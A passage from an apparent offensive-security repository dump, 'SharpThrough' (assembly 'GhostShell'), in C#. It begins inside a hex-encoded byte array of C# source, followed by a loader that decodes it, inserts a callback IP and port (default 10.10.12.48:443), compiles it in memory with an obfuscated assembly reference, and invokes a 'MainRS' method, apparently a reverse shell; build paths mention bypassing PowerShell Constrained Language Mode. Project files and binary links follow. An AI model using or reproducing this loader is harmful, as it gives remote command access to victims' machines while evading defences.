0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x2E, 0x49, 0x73, 0x4E, 0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x28, 0x65, 0x2E, 0x44, 0x61, 0x74, 0x61, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x28, 0x65, 0x2E, 0x44, 0x61, 0x74, 0x61, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x2E, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x2E, 0x46, 0x6C, 0x75, 0x73, 0x68, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x28, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x65, 0x72, 0x72, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x76, 0x6F, 0x69, 0x64, 0x20, 0x43, 0x6D, 0x64, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x44, 0x61, 0x74, 0x61, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x28, 0x6F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x41, 0x72, 0x67, 0x73, 0x20, 0x6F, 0x75, 0x74, 0x4C, 0x69, 0x6E, 0x65, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x2E, 0x49, 0x73, 0x4E, 0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x28, 0x6F, 0x75, 0x74, 0x4C, 0x69, 0x6E, 0x65, 0x2E, 0x44, 0x61, 0x74, 0x61, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x28, 0x6F, 0x75, 0x74, 0x4C, 0x69, 0x6E, 0x65, 0x2E, 0x44, 0x61, 0x74, 0x61, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x2E, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x2E, 0x46, 0x6C, 0x75, 0x73, 0x68, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x28, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x65, 0x72, 0x72, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x7D };
16 |
17 | CompilerParameters compileParameters = new CompilerParameters();
18 | string currentDirectory = Directory.GetCurrentDirectory();
19 | compileParameters.GenerateInMemory = true;
20 | compileParameters.TreatWarningsAsErrors = false;
21 | compileParameters.GenerateExecutable = false;
22 | compileParameters.CompilerOptions = "/optimize";
23 | compileParameters.ReferencedAssemblies.Add("S" + (char)121 + "s" + (char)84 + "e" + "m" + (char)46 + (char)100 + (char)108 + (char)76);
24 |
25 | string code = System.Text.Encoding.UTF8.GetString(byteRS);
26 | string ip = (args!=null && args.Length>0 ) ? args[0] : "10.10.12.48";
27 | string port = (args != null && args.Length > 1) ? args[1] : "443";
28 |
29 | code = code.Replace("|IPADDRESS|", ip );
30 | code = code.Replace("|TCPPORT|", port);
31 |
32 | CSharpCodeProvider cSharpCompiler = new CSharpCodeProvider();
33 | CompilerResults compileResults = cSharpCompiler.CompileAssemblyFromSource(compileParameters, code);
34 |
35 | if (compileResults.Errors.HasErrors)
36 | {
37 | string text = "comp errors : ";
38 | foreach (CompilerError compileError in compileResults.Errors)
39 | {
40 | text += "rn " + compileError.ToString();
41 | }
42 | }
43 |
44 | Module module = compileResults.CompiledAssembly.GetModules()[0];
45 | Type type = null;
46 | MethodInfo methodInfo = null;
47 | if (module != null)
48 | {
49 | type = module.GetType("SharpThrough.RS");
50 | }
51 | if (type != null)
52 | {
53 | methodInfo = type.GetMethod("MainRS");
54 | }
55 | if (methodInfo != null)
56 | {
57 | methodInfo.Invoke(null, null);
58 | }
59 | }
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/SharpThrough/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("GhostShell")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("GhostShell")]
13 | [assembly: AssemblyCopyright("Copyright © 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("30b2e0cf-34dd-4614-a5ca-6578fb684aea")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpThrough/SharpThrough.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {B645C9A8-F313-4AB0-AD93-6415330CC3A1}
8 | Exe
9 | Properties
10 | sharpthrough
11 | sharpthrough
12 | v4.0
13 | 512
14 | true
15 |
16 |
17 |
18 | x64
19 | true
20 | full
21 | false
22 | bin\Debug\
23 | TRACE;DEBUG
24 | prompt
25 | 4
26 | true
27 |
28 |
29 | AnyCPU
30 | pdbonly
31 | true
32 | bin\Release\
33 | TRACE
34 | prompt
35 | 4
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | TRACE;DEBUG
41 | true
42 | full
43 | x64
44 | prompt
45 | MinimumRecommendedRules.ruleset
46 |
47 |
48 | bin\x64\Release\
49 | TRACE
50 | true
51 | pdbonly
52 | x64
53 | prompt
54 | MinimumRecommendedRules.ruleset
55 |
56 |
57 | true
58 | bin\x86\Debug\
59 | TRACE;DEBUG
60 | true
61 | full
62 | x86
63 | prompt
64 | MinimumRecommendedRules.ruleset
65 |
66 |
67 | bin\x86\Release\
68 | TRACE
69 | true
70 | pdbonly
71 | x86
72 | prompt
73 | MinimumRecommendedRules.ruleset
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
100 |
--------------------------------------------------------------------------------
/SharpThrough/SharpThrough.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | ShowAllFiles
5 |
6 |
--------------------------------------------------------------------------------
/SharpThrough/bin/x64/Debug/System.Net.Http.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/bin/x64/Debug/System.Net.Http.dll
--------------------------------------------------------------------------------
/SharpThrough/bin/x64/Debug/sharpthrough.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/bin/x64/Debug/sharpthrough.exe
--------------------------------------------------------------------------------
/SharpThrough/bin/x64/Debug/sharpthrough.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpThrough/bin/x64/Debug/sharpthrough.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/bin/x64/Debug/sharpthrough.pdb
--------------------------------------------------------------------------------
/SharpThrough/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/SharpThrough/obj/x64/Debug/SharpThrough.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.exe.config
2 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.exe
3 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.pdb
4 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\System.Net.Http.dll
5 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\System.Net.Http.xml
6 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\SharpThrough.csprojResolveAssemblyReference.cache
7 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\sharpthrough.exe
8 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\sharpthrough.pdb
9 |
--------------------------------------------------------------------------------
/SharpThrough/obj/x64/Debug/SharpThrough.csprojResolveAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/obj/x64/Debug/SharpThrough.csprojResolveAssemblyReference.cache
--------------------------------------------------------------------------------
/SharpThrough/obj/x64/Debug/sharpthrough.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/obj/x64/Debug/sharpthrough.exe
--------------------------------------------------------------------------------
/SharpThrough/obj/x64/Debug/sharpthrough.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/obj/x64/Debug/sharpthrough.pdb
--------------------------------------------------------------------------------